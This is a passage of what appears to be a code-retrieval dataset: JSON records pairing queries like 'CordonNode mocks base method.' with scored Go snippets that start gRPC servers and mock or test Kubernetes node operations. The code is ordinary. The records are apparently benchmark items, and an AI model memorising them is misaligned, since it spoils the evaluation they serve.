net.Listen(\"tcp\", fmt.Sprintf(\":%d\", s.cfg.Port))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn s.srv.Serve(listener)\n}", "title": "" }, { "docid": "6b5a98e9e6e24110ea47ec87361db269", "score": "0.64324385", "text": "func MakeGRPCServer(ctx context.Context, endpoints Endpoints, logger log.Logger) pb.UsersvcServer {\n\toptions := []grpctransport.ServerOption{\n\t\tgrpctransport.ServerErrorLogger(logger),\n\t}\n\treturn &grpcServer{\n\t\tctx: ctx,\n\t\tgetUserinfo: grpctransport.NewServer(\n\t\t\tctx,\n\t\t\tendpoints.GetUserinfoEndpoint,\n\t\t\tDecodeGRPCGetUserinfoRequest,\n\t\t\tEncodeGRPCGetUserinfoResponse,\n\t\t\toptions...,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "07a06a1b72082329d4e37ee1879ec0e4", "score": "0.6416186", "text": "func (re *ApiLoop) GRPCStart() (err error) {\n\n\tif len(re.Conf.GPRCListen) <= 0 && len(re.Conf.CadentHosts) > 0 {\n\t\terr := fmt.Errorf(\"Cannot have a cluster config with cadent_hosts defined and no GRPC bind defined\")\n\t\tre.log.Errorf(\"%v\", err)\n\t\treturn err\n\t}\n\n\tif len(re.Conf.GPRCListen) <= 0 {\n\t\tre.log.Noticef(\"No gRPC listen defined, not starting gRPC server\")\n\t\treturn nil\n\t}\n\n\tre.RpcServer, err = grpcserver.New()\n\tif err != nil {\n\t\tre.log.Critical(\"Could not start gRPC server at %s\", re.Conf.GPRCListen)\n\t\treturn err\n\t}\n\tif len(re.Conf.TLSCertPath) > 0 && len(re.Conf.TLSKeyPath) > 0 {\n\t\tre.RpcServer.CertFile = re.Conf.TLSCertPath\n\t\tre.RpcServer.CertKeyFile = re.Conf.TLSKeyPath\n\t}\n\n\tre.log.Notice(\"Starting gRPC server at %s\", re.Conf.GPRCListen)\n\tre.RpcServer.Tracer = re.Tracer\n\tre.RpcServer.Listen = re.Conf.GPRCListen\n\tre.RpcServer.Metrics = re.Metrics\n\tre.RpcServer.Indexer = re.Indexer\n\tre.RpcServer.Start()\n\tshuts := re.shutdown.Listen()\n\tfor {\n\t\tselect {\n\t\tcase <-shuts.Ch:\n\t\t\tgolog.Print(\"Shutting down gRPC server...\")\n\t\t\tre.RpcServer.Stop()\n\t\t\treturn nil\n\t\t}\n\t}\n}", "title": "" }, { "docid": "06266959b49aba4472c9c1987b5a101e", "score": "0.64096946", "text": "func (s *Server) Listen(listener net.Listener) {\n s.srv = grpc.NewServer()\n grpc.NewServer()\n rpc.RegisterEventServiceServer(s.srv, NewEventService(s.cache))\n rpc.RegisterProfileServiceServer(s.srv, NewProfileService(s.cache))\n rpc.RegisterServerServiceServer(s.srv, NewServerService(s.cache))\n rpc.RegisterSystemServiceServer(s.srv, NewSystemService(s.plugin))\n reflection.Register(s.srv)\n s.srv.Serve(listener)\n}", "title": "" }, { "docid": "9c24a5db7f7ba7f546dacc494b29914b", "score": "0.6404401", "text": "func (g *GameenginServer) ListenAndServe() error {\n\tlis, err := net.Listen(\"tcp\", g.address)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to open tcp port\")\n\t}\n\n\tserverOpts := []grpc.ServerOption{}\n\n\tg.srv = grpc.NewServer(serverOpts...)\n\n\tpb.RegisterGameengineServer(g.srv, g)\n\n\tlog.Info().Str(\"address\", g.address).Msg(\"starting gRPC server for gameengine microservice\")\n\n\terr = g.srv.Serve(lis)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to start gRPC server for gameengine microservice\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "b6d6fd6764798e4e9873ea677d1cf84a", "score": "0.63920504", "text": "func (s *Server) Listen(addr string) error {\n\tl, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//creds := credentials.NewServerTLSFromCert(s.cert)\n\tgrpcServer := grpc.NewServer(\n\t\tgrpc.MaxRecvMsgSize(int(config.GRPCMsgSize)),\n\t\tgrpc.MaxSendMsgSize(int(config.GRPCMsgSize)),\n\t)\n\tserverpb.RegisterNodeServer(grpcServer, s)\n\tserverpb.RegisterClientServer(grpcServer, s)\n\tgo s.ReceiveNewRoutingTable()\n\n\thttpServer := http.Server{\n\t\tHandler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tif r.ProtoMajor == 2 && strings.HasPrefix(\n\t\t\t\tr.Header.Get(\"Content-Type\"), \"application/grpc\") {\n\t\t\t\tgrpcServer.ServeHTTP(w, r)\n\t\t\t} else {\n\t\t\t\ts.mux.ServeHTTP(w, r)\n\t\t\t}\n\t\t}),\n\t\tTLSConfig: &tls.Config{\n\t\t\tCertificates: []tls.Certificate{\n\t\t\t\t*s.cert,\n\t\t\t},\n\t\t},\n\t}\n\n\ts.mu.Lock()\n\ts.mu.l = l\n\ts.mu.grpcServer = grpcServer\n\ts.mu.httpServer = &httpServer\n\ts.mu.Unlock()\n\n\tmeta, err := s.NodeMeta()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.log.SetPrefix(color.RedString(meta.Id) + \" \" + color.GreenString(l.Addr().String()) + \" \")\n\n\ts.log.Printf(\"Listening to %s\", l.Addr().String())\n\tvar g errgroup.Group\n\tg.Go(func() error {\n\t\tif err := httpServer.ServeTLS(l, \"\", \"\"); err != http.ErrServerClosed {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t})\n\n\tmux := runtime.NewServeMux()\n\ts.mux.Handle(\"/api/\", http.StripPrefix(\"/api\", mux))\n\ts.mux.Handle(\"/source/\", http.StripPrefix(\"/source/\", http.FileServer(http.Dir(\".\"))))\n\n\tconn, err := s.LocalConn()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.mu.Lock()\n\ts.mu.grpcGatewayConn = conn\n\ts.mu.Unlock()\n\n\tif err := serverpb.RegisterClientHandler(s.ctx, mux, conn); err != nil {\n\t\treturn err\n\t}\n\n\treturn g.Wait()\n}", "title": "" }, { "docid": "86e47a2350a6201c5f0f26d352bf5946", "score": "0.639011", "text": "func main() {\n\t// Listen an actual port.\n\tlis, err := net.Listen(\"tcp\", fmt.Sprintf(\":%d\", 9093))\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to listen: %v\", err)\n\t}\n\tdefer lis.Close()\n\n\t// Create a HTTP server for prometheus.\n\thttpServer := &http.Server{Handler: promhttp.HandlerFor(reg, promhttp.HandlerOpts{}), Addr: fmt.Sprintf(\"0.0.0.0:%d\", 9092)}\n\n\t// Create a gRPC Server with gRPC interceptor.\n\tgrpcServer := grpc.NewServer(\n\t\tserverOptions...,\n\t)\n\n\t// Create a new api server.\n\tdemoServer := newDemoServer()\n\n\t// Register your service.\n\tpb.RegisterDemoServiceServer(grpcServer, demoServer)\n\n\t// Initialize all metrics.\n\t//grpcMetrics.InitializeMetrics(grpcServer)\n\n\t// Start your http server for prometheus.\n\tgo func() {\n\t\tif err := httpServer.ListenAndServe(); err != nil {\n\t\t\tlog.Fatal(\"Unable to start a http server.\")\n\t\t}\n\t}()\n\n\t// Start your gRPC server.\n\tlog.Fatal(grpcServer.Serve(lis))\n}", "title": "" }, { "docid": "21cd598f1337761e0994277909aa9291", "score": "0.6387639", "text": "func NewGRPCServer(endpoints endpoint.EndpointSet, otTracer stdopentracing.Tracer, logger log.Logger) pb.WorkerServer {\n\n\toptions := []grpctransport.ServerOption{\n\t\tgrpctransport.ServerErrorLogger(logger),\n\t}\n\n\treturn &grpcServer{\n\t\tping: grpctransport.NewServer(\n\t\t\tendpoints.PingEndpoint,\n\t\t\tdecodeGRPCPingRequest,\n\t\t\tencodeGRPCPingResponse,\n\t\t\tappend(options, grpctransport.ServerBefore(opentracing.GRPCToContext(otTracer, \"Ping\", logger)))...,\n\t\t),\n\t\tgetJobs: grpctransport.NewServer(\n\t\t\tendpoints.GetJobsEndpoint,\n\t\t\tdecodeGRPCGetJobsRequest,\n\t\t\tencodeGRPCGetJobsResponse,\n\t\t\tappend(options, grpctransport.ServerBefore(opentracing.GRPCToContext(otTracer, \"GetJobs\", logger)))...,\n\t\t),\n\t\tnewJob: grpctransport.NewServer(\n\t\t\tendpoints.NewJobEndpoint,\n\t\t\tdecodeGRPCNewJobRequest,\n\t\t\tencodeGRPCNewJobResponse,\n\t\t\tappend(options, grpctransport.ServerBefore(opentracing.GRPCToContext(otTracer, \"NewJob\", logger)))...,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "b353134aedacc670aa05c8e88a36581d", "score": "0.6383725", "text": "func (inst *installer) Run() {\n\tgrpcServerEndpoint := \":\" + inst.opt.ServerPort\n\tl, err := net.Listen(\"tcp\", grpcServerEndpoint)\n\tif err != nil {\n\t\tglog.Fatalf(\"failed to listen: %v\", err)\n\t}\n\tgrpcServer := grpc.NewServer()\n\n\t// register grpc server\n\tinstallerv1.RegisterInstallerServer(grpcServer, inst)\n\treflection.Register(grpcServer)\n\tgo func() {\n\t\tglog.Info(\"starting grpc server...\")\n\t\tglog.Fatal(grpcServer.Serve(l))\n\t}()\n\n\t// start http server\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\t// Register gRPC server endpoint\n\t// Note: Make sure the gRPC server is running properly and accessible\n\tmux := runtime.NewServeMux()\n\topts := []grpc.DialOption{grpc.WithInsecure()}\n\terr = installerv1.RegisterInstallerHandlerFromEndpoint(ctx, mux, grpcServerEndpoint, opts)\n\tif err != nil {\n\t\tglog.Fatal(err)\n\t}\n\n\tglog.Info(\"starting http server...\")\n\t// Start HTTP server (and proxy calls to gRPC server endpoint)\n\tglog.Fatal(http.ListenAndServe(\":8080\", mux))\n}", "title": "" }, { "docid": "eeb66a1069369b259eb1743daf885517", "score": "0.637922", "text": "func NewServer(driver Driver, addr chan string) *GrpcServer {\n\treturn &GrpcServer{\n\t\tdriver: driver,\n\t\taddress: addr,\n\t}\n}", "title": "" }, { "docid": "eeb66a1069369b259eb1743daf885517", "score": "0.637922", "text": "func NewServer(driver Driver, addr chan string) *GrpcServer {\n\treturn &GrpcServer{\n\t\tdriver: driver,\n\t\taddress: addr,\n\t}\n}", "title": "" }, { "docid": "4c9600fbf4794db6ee76db7632e37d61", "score": "0.63790053", "text": "func (d *driver) Run(ctx context.Context) error {\n\tu, err := url.Parse(d.endpoint)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse address: %w\", err)\n\t}\n\n\tgrpcAddr := path.Join(u.Host, filepath.FromSlash(u.Path))\n\tif u.Host == \"\" {\n\t\tgrpcAddr = filepath.FromSlash(u.Path)\n\t}\n\n\t// CSI plugins talk only over UNIX sockets currently\n\tif u.Scheme != \"unix\" {\n\t\treturn fmt.Errorf(\"currently only unix domain sockets are supported, have: %s\", u.Scheme)\n\t}\n\n\t// remove the socket if it's already there. This can happen if we\n\t// deploy a new version and the socket was created from the old running\n\t// plugin.\n\td.log.Info(\"removing socket\", field.Fields{\n\t\t\"socket\": grpcAddr,\n\t})\n\terr = os.Remove(grpcAddr)\n\tif err != nil && !os.IsNotExist(err) {\n\t\treturn fmt.Errorf(\"failed to remove unix domain socket file %s, error: %w\", grpcAddr, err)\n\t}\n\n\tgrpcListener, err := net.Listen(u.Scheme, grpcAddr)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to listen: %w\", err)\n\t}\n\n\t// log response errors for better observability\n\terrHandler := func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\t\tresp, err := handler(ctx, req)\n\t\tif err != nil {\n\t\t\td.log.ErrorWithContext(ctx, \"method failed\", field.Fields{\n\t\t\t\t\"method\": info.FullMethod,\n\t\t\t})\n\t\t}\n\n\t\treturn resp, err\n\t}\n\n\t// Create GRPC servers\n\td.srv = grpc.NewServer(grpc.UnaryInterceptor(errHandler))\n\td.ids = NewIdentityServer(d.name, d.log)\n\td.ns = NewNodeServer(d.nodeID, d.maxVolumesPerNode)\n\td.cs = NewControllerServer(d.nodeID)\n\tcsi.RegisterIdentityServer(d.srv, d)\n\tcsi.RegisterControllerServer(d.srv, d)\n\tcsi.RegisterNodeServer(d.srv, d)\n\n\tdiscoverExistingSnapshots()\n\n\td.ready = true // we're now ready to go!\n\td.log.Info(\"starting server\", field.Fields{\n\t\t\"grpc_addr\": grpcAddr,\n\t})\n\n\tvar eg errgroup.Group\n\teg.Go(func() error {\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\td.log.Info(\"server stopped\")\n\t\t\td.mu.Lock()\n\t\t\td.ready = false\n\t\t\td.mu.Unlock()\n\t\t\td.srv.GracefulStop()\n\t\t}()\n\n\t\treturn d.srv.Serve(grpcListener)\n\t})\n\n\treturn eg.Wait()\n}", "title": "" } ]
4dd6b90e0de7827211a96d425d71ec3f
CordonNode mocks base method.
[ { "docid": "0184b0abb94c1c5ac7f98649ca2f7e1d", "score": "0.73362076", "text": "func (m *MockOps) CordonNode(arg0 string, arg1, arg2 time.Duration) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CordonNode\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" } ]
[ { "docid": "c16028ec324fab388076e6bead33f800", "score": "0.68134767", "text": "func (m *MockKubeActions) CordonNode(arg0 context.Context, arg1 string, arg2 bool) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CordonNode\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "27d8c813c48cf5e7565299b53cf6e14b", "score": "0.6006469", "text": "func fakeNode(pilotGrpcAddr string, deployment string, appIp string){\n\tcdsr, cancel, err := connectADS(pilotGrpcAddr)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\terr = sendCDSReq(sidecarID(appIp, deployment), cdsr)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer cancel()\n\tres, err := cdsr.Recv()\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to receive CDS\", err)\n\t\treturn\n\t}\n\n\tif len(res.Resources) == 0 {\n\t\tlog.Fatal(\"No response\")\n\t}\n\tif res.Resources[0].GetTypeUrl() != v3.ClusterType {\n\t\tlog.Fatalf(\"Unexpected type url. want: %v, got: %v\", v3.ClusterType, res.Resources[0].GetTypeUrl())\n\t}\n}", "title": "" }, { "docid": "0bfa2263c02942186d44daabdecfcaee", "score": "0.5937786", "text": "func (m *MockOps) UnCordonNode(arg0 string, arg1, arg2 time.Duration) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UnCordonNode\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "aef0ee9aa20b0b82b5f7a513264b5f73", "score": "0.588656", "text": "func TestNodeInitialized(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdefer ctrl.Finish()\n\n\tfnh := &testutil.FakeNodeHandler{\n\t\tExisting: []*v1.Node{\n\t\t\t{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tName: \"node0\",\n\t\t\t\t\tCreationTimestamp: metav1.Date(2012, 1, 1, 0, 0, 0, 0, time.UTC),\n\t\t\t\t},\n\t\t\t\tStatus: v1.NodeStatus{\n\t\t\t\t\tConditions: []v1.NodeCondition{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tType: v1.NodeReady,\n\t\t\t\t\t\t\tStatus: v1.ConditionUnknown,\n\t\t\t\t\t\t\tLastHeartbeatTime: metav1.Date(2015, 1, 1, 12, 0, 0, 0, time.UTC),\n\t\t\t\t\t\t\tLastTransitionTime: metav1.Date(2015, 1, 1, 12, 0, 0, 0, time.UTC),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tSpec: v1.NodeSpec{\n\t\t\t\t\tTaints: []v1.Taint{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: cloudproviderapi.TaintExternalCloudProvider,\n\t\t\t\t\t\t\tValue: \"true\",\n\t\t\t\t\t\t\tEffect: v1.TaintEffectNoSchedule,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tClientset: fake.NewSimpleClientset(&v1.PodList{}),\n\t\tDeleteWaitChan: make(chan struct{}),\n\t}\n\n\tctx := context.TODO()\n\tfactory := informers.NewSharedInformerFactory(fnh, 0)\n\tmockNP := mocknodeprovider.NewMockNodeProvider(ctrl)\n\tmockNP.EXPECT().InstanceID(ctx, types.NodeName(\"node0\")).Return(\"node0\", nil)\n\tmockNP.EXPECT().InstanceType(ctx, types.NodeName(\"node0\")).Return(\"Standard_D2_v3\", nil)\n\tmockNP.EXPECT().GetZone(ctx, gomock.Any()).Return(cloudprovider.Zone{\n\t\tRegion: \"eastus\",\n\t\tFailureDomain: \"1\",\n\t}, nil)\n\tmockNP.EXPECT().NodeAddresses(ctx, types.NodeName(\"node0\")).Return([]v1.NodeAddress{\n\t\t{\n\t\t\tType: v1.NodeHostName,\n\t\t\tAddress: \"node0.cloud.internal\",\n\t\t},\n\t\t{\n\t\t\tType: v1.NodeInternalIP,\n\t\t\tAddress: \"10.0.0.1\",\n\t\t},\n\t\t{\n\t\t\tType: v1.NodeExternalIP,\n\t\t\tAddress: \"132.143.154.163\",\n\t\t},\n\t}, nil).AnyTimes()\n\tmockNP.EXPECT().GetPlatformSubFaultDomain().Return(\"1\", nil)\n\n\tcloudNodeController := NewCloudNodeController(\n\t\t\"node0\",\n\t\tfactory.Core().V1().Nodes(),\n\t\tfnh,\n\t\tmockNP,\n\t\ttime.Second,\n\t\tfalse,\n\t\tfalse)\n\n\tcloudNodeController.AddCloudNode(ctx, fnh.Existing[0])\n\n\tassert.Equal(t, 1, len(fnh.UpdatedNodes), \"Node was not updated\")\n\tassert.Equal(t, \"node0\", fnh.UpdatedNodes[0].Name, \"Node was not updated\")\n\tassert.Equal(t, 0, len(fnh.UpdatedNodes[0].Spec.Taints), \"Node Taint was not removed after cloud init\")\n\tassert.Equal(t, \"1\", fnh.UpdatedNodes[0].Labels[consts.LabelPlatformSubFaultDomain])\n}", "title": "" }, { "docid": "40543bea97e3cf3d56896fd419fa668c", "score": "0.5881895", "text": "func (m *MockState) Node() membership.Node {\n\tret := m.ctrl.Call(m, \"Node\")\n\tret0, _ := ret[0].(membership.Node)\n\treturn ret0\n}", "title": "" }, { "docid": "98353e88f04298c6defd8df08bb887fe", "score": "0.58678526", "text": "func TestAddCloudNode(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdefer ctrl.Finish()\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\tfnh := &testutil.FakeNodeHandler{\n\t\tExisting: []*v1.Node{\n\t\t\t{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tName: \"node0\",\n\t\t\t\t\tCreationTimestamp: metav1.Date(2012, 1, 1, 0, 0, 0, 0, time.UTC),\n\t\t\t\t\tLabels: map[string]string{},\n\t\t\t\t},\n\t\t\t\tStatus: v1.NodeStatus{\n\t\t\t\t\tConditions: []v1.NodeCondition{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tType: v1.NodeReady,\n\t\t\t\t\t\t\tStatus: v1.ConditionUnknown,\n\t\t\t\t\t\t\tLastHeartbeatTime: metav1.Date(2015, 1, 1, 12, 0, 0, 0, time.UTC),\n\t\t\t\t\t\t\tLastTransitionTime: metav1.Date(2015, 1, 1, 12, 0, 0, 0, time.UTC),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tSpec: v1.NodeSpec{\n\t\t\t\t\tTaints: []v1.Taint{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"ImproveCoverageTaint\",\n\t\t\t\t\t\t\tValue: \"true\",\n\t\t\t\t\t\t\tEffect: v1.TaintEffectNoSchedule,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: cloudproviderapi.TaintExternalCloudProvider,\n\t\t\t\t\t\t\tValue: \"true\",\n\t\t\t\t\t\t\tEffect: v1.TaintEffectNoSchedule,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tClientset: fake.NewSimpleClientset(&v1.PodList{}),\n\t\tDeleteWaitChan: make(chan struct{}),\n\t}\n\n\tmockNP := mocknodeprovider.NewMockNodeProvider(ctrl)\n\tmockNP.EXPECT().InstanceID(gomock.Any(), types.NodeName(\"node0\")).Return(\"node0\", nil)\n\tmockNP.EXPECT().InstanceType(gomock.Any(), types.NodeName(\"node0\")).Return(\"Standard_D2_v3\", nil)\n\tmockNP.EXPECT().GetZone(gomock.Any(), gomock.Any()).Return(cloudprovider.Zone{\n\t\tRegion: \"eastus\",\n\t\tFailureDomain: \"eastus-1\",\n\t}, nil)\n\tmockNP.EXPECT().NodeAddresses(gomock.Any(), types.NodeName(\"node0\")).Return([]v1.NodeAddress{\n\t\t{\n\t\t\tType: v1.NodeHostName,\n\t\t\tAddress: \"node0.cloud.internal\",\n\t\t},\n\t\t{\n\t\t\tType: v1.NodeInternalIP,\n\t\t\tAddress: \"10.0.0.1\",\n\t\t},\n\t\t{\n\t\t\tType: v1.NodeExternalIP,\n\t\t\tAddress: \"132.143.154.163\",\n\t\t},\n\t}, nil).AnyTimes()\n\tmockNP.EXPECT().GetPlatformSubFaultDomain().Return(\"\", nil)\n\n\tfactory := informers.NewSharedInformerFactory(fnh, 0)\n\tnodeInformer := factory.Core().V1().Nodes()\n\n\tcloudNodeController := NewCloudNodeController(\n\t\t\"node0\",\n\t\tnodeInformer,\n\t\tfnh,\n\t\tmockNP,\n\t\ttime.Second,\n\t\tfalse,\n\t\tfalse)\n\tfactory.Start(ctx.Done())\n\tcache.WaitForCacheSync(ctx.Done(), nodeInformer.Informer().HasSynced)\n\n\tcloudNodeController.AddCloudNode(ctx, fnh.Existing[0])\n\tassert.Equal(t, 1, len(fnh.UpdatedNodes), \"Node was not updated\")\n\tassert.Equal(t, \"node0\", fnh.UpdatedNodes[0].Name, \"Node was not updated\")\n\tassert.Equal(t, 3, len(fnh.UpdatedNodes[0].Status.Addresses), \"Node status not updated\")\n}", "title": "" }, { "docid": "b9a798f14217b84473f29af9f2b346db", "score": "0.5857891", "text": "func newFakePerNodeCounter() (*PerNodeCounter, agtesting.Mocks) {\n\tm := agtesting.NewMocks()\n\tc := NewPerNodeCounter(m.KubeInformerFactory, m.AgonesInformerFactory)\n\treturn c, m\n}", "title": "" }, { "docid": "9396e4584822557cd868b7055c3b8474", "score": "0.58544755", "text": "func NewMockNode() Node {\n\tcontroller := NewMockController()\n\tnode := Node{\n\t\tcontroller: &controller,\n\t\thub: NewHub(),\n\t\tMetrics: metrics.NewMetrics(nil, 10),\n\t\tlog: log.WithField(\"context\", \"test\"),\n\t}\n\tnode.registerMetrics()\n\tnode.disconnector = NewDisconnectQueue(&node, 1)\n\treturn node\n}", "title": "" }, { "docid": "2dad98b47178dc3efe2161b44b18be26", "score": "0.57832515", "text": "func TestClient(t *testing.T) {\n\t// Creata a node\n\tc := Client{\n\t\tCredentials: Credentials{\n\t\t\tID: os.Getenv(\"AWS_ACCESS_KEY_ID\"),\n\t\t\tSecret: os.Getenv(\"AWS_SECRET_ACCESS_KEY\"),\n\t\t},\n\t\tConfig: ClientConfig{\n\t\t\tRegion: os.Getenv(\"AWS_DEFAULT_REGION\"),\n\t\t\tSubnetID: os.Getenv(\"AWS_SUBNET_ID\"),\n\t\t\tKeyname: os.Getenv(\"AWS_KEYNAME\"),\n\t\t\tSecurityGroupID: os.Getenv(\"AWS_SECURITY_GROUP_ID\"),\n\t\t\tHostedZoneID: os.Getenv(\"AWS_HOSTED_ZONE_ID\"),\n\t\t},\n\t}\n\tfmt.Println(\"Creating node\")\n\tnodeID, err := c.CreateNode(Ubuntu1604LTSEast, T2Micro, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create node: %v\", err)\n\t}\n\tfmt.Printf(\"Created a node with ID %q\\n\", nodeID)\n\tnode, err := c.GetNode(nodeID)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to get node details: %v\", err)\n\t}\n\tfmt.Println(node)\n\tif err := c.DestroyNodes([]string{nodeID}); err != nil {\n\t\tt.Fatalf(\"Failed to destroy node: %v\", err)\n\t}\n}", "title": "" }, { "docid": "cdbefbc07fac9fe417df08f0535b76ce", "score": "0.5726023", "text": "func (m *MockOrchestrator) GetNode(arg0 context.Context, arg1 string) (*utils.NodeExternal, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetNode\", arg0, arg1)\n\tret0, _ := ret[0].(*utils.NodeExternal)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "c91637d7fbf08713cd60a0ee82ddf9f6", "score": "0.57252693", "text": "func NewMockNode() Node {\n\tcontroller := mocks.NewMockController()\n\tconfig := NewConfig()\n\tnode := NewNode(&controller, metrics.NewMetrics(nil, 10), &config)\n\n\tdconfig := NewDisconnectQueueConfig()\n\tdconfig.Rate = 1\n\tnode.SetDisconnector(NewDisconnectQueue(node, &dconfig))\n\treturn *node\n}", "title": "" }, { "docid": "ba2548362e1b71738689618b28231738", "score": "0.5671644", "text": "func newNode(now time.Time, certPath string, dr *Drand) *MockNode {\n\tid := dr.priv.Public.Address()\n\tc := clock.NewFakeClockAt(now)\n\n\t// Note: not pure\n\tdr.opts.clock = c\n\n\treturn &MockNode{\n\t\tcertPath: certPath,\n\t\taddr: id,\n\t\tdrand: dr,\n\t\tclock: c,\n\t}\n}", "title": "" }, { "docid": "164c667c9f56158cdb228fe802a761e7", "score": "0.5638139", "text": "func TestNewGetNodeAddAndInfoAndDestroy(t *testing.T) {\n\tdb := tests.Tempfile()\n\tdefer os.Remove(db)\n\n\t// Create the app\n\tapp := glusterfs.NewTestApp(db)\n\tdefer app.Close()\n\trouter := mux.NewRouter()\n\tapp.SetRoutes(router)\n\n\t// Setup the server\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\t//set options\n\toptions := &Options{\n\t\tUrl: ts.URL,\n\t}\n\n\t//create b to get values of stdout\n\tvar b bytes.Buffer\n\tdefer tests.Patch(&stdout, &b).Restore()\n\n\t//create mock cluster\n\tmockCluster := NewClusterCreateCommand(options)\n\n\t//create new cluster\n\terr := mockCluster.Exec([]string{})\n\ttests.Assert(t, err == nil)\n\n\t//get cluster id\n\tMockClusterIdArray := strings.SplitAfter(b.String(), \"id: \")\n\ttests.Assert(t, len(MockClusterIdArray) >= 1)\n\tMockClusterId := MockClusterIdArray[1]\n\tb.Reset()\n\n\t//create mock Node\n\tmockNode := NewNodeAddCommand(options)\n\n\t//create new Node\n\tmockNode.zone = 1\n\tmockNode.clusterId = MockClusterId\n\tmockNode.storageHostNames = \"storage.hostname.com\"\n\tmockNode.managmentHostNames = \"manage.hostname.com\"\n\terr = mockNode.Exec([]string{})\n\ttests.Assert(t, err == nil)\n\tb.Reset()\n\n\t//get Node id\n\tmockClusterNodeId := NewClusterInfoCommand(options)\n\terr = mockClusterNodeId.Exec([]string{MockClusterId})\n\ttests.Assert(t, err == nil)\n\tnodeIdArray := strings.SplitAfter(b.String(), \"\\n\")\n\ttests.Assert(t, len(nodeIdArray) >= 2)\n\tnodeId := strings.TrimSpace(nodeIdArray[2])\n\n\t// //assert that Node info Exec succeeds and prints correctly\n\tnodeInfo := NewNodeInfoCommand(options)\n\targs := []string{nodeId}\n\terr = nodeInfo.Exec(args)\n\ttests.Assert(t, err == nil, err)\n\ttests.Assert(t, strings.Contains(b.String(), \"Zone: \"), b.String())\n\n\t// //create destroy struct and destroy node\n\tmockNodeDestroy := NewNodeDestroyCommand(options)\n\targs = []string{nodeId}\n\terr = mockNodeDestroy.Exec(args)\n\ttests.Assert(t, err == nil)\n\n\t// //assert that we cannot get info on destroyed Node\n\terr = nodeInfo.Exec([]string{})\n\ttests.Assert(t, err != nil)\n\n}", "title": "" }, { "docid": "fd0bb090a75527b068fdfde905bd3f73", "score": "0.5605176", "text": "func newMockClient(wocClient whatsOnChainInterface, paprikaClient coinPaprikaInterface, preevClient preevInterface, providers ...Provider) *Client {\r\n\tclient := NewClient(nil, nil, providers...)\r\n\tclient.WhatsOnChain = wocClient\r\n\tclient.CoinPaprika = paprikaClient\r\n\tclient.Preev = preevClient\r\n\treturn client\r\n}", "title": "" }, { "docid": "1522569d4049c5b3b8eb19ef9c3dac77", "score": "0.55843997", "text": "func NodeForTest() *v1.Node {\n\treturn &v1.Node{\n\t\tTypeMeta: metav1.TypeMeta{},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"testbase\",\n\t\t},\n\t\tStatus: v1.NodeStatus{\n\t\t\tCapacity: map[v1.ResourceName]resource.Quantity{\n\t\t\t\t\"cpu\": resource.MustParse(\"50\"),\n\t\t\t\t\"memory\": resource.MustParse(\"50Gi\"),\n\t\t\t},\n\t\t\tAllocatable: map[v1.ResourceName]resource.Quantity{\n\t\t\t\t\"cpu\": resource.MustParse(\"50\"),\n\t\t\t\t\"memory\": resource.MustParse(\"50Gi\"),\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "5c97ae6fb8c09fd13dcce9d2fc7034d4", "score": "0.5528299", "text": "func newMockTracedPlcConnection(t interface {\n\tmock.TestingT\n\tCleanup(func())\n}) *mockTracedPlcConnection {\n\tmock := &mockTracedPlcConnection{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "title": "" }, { 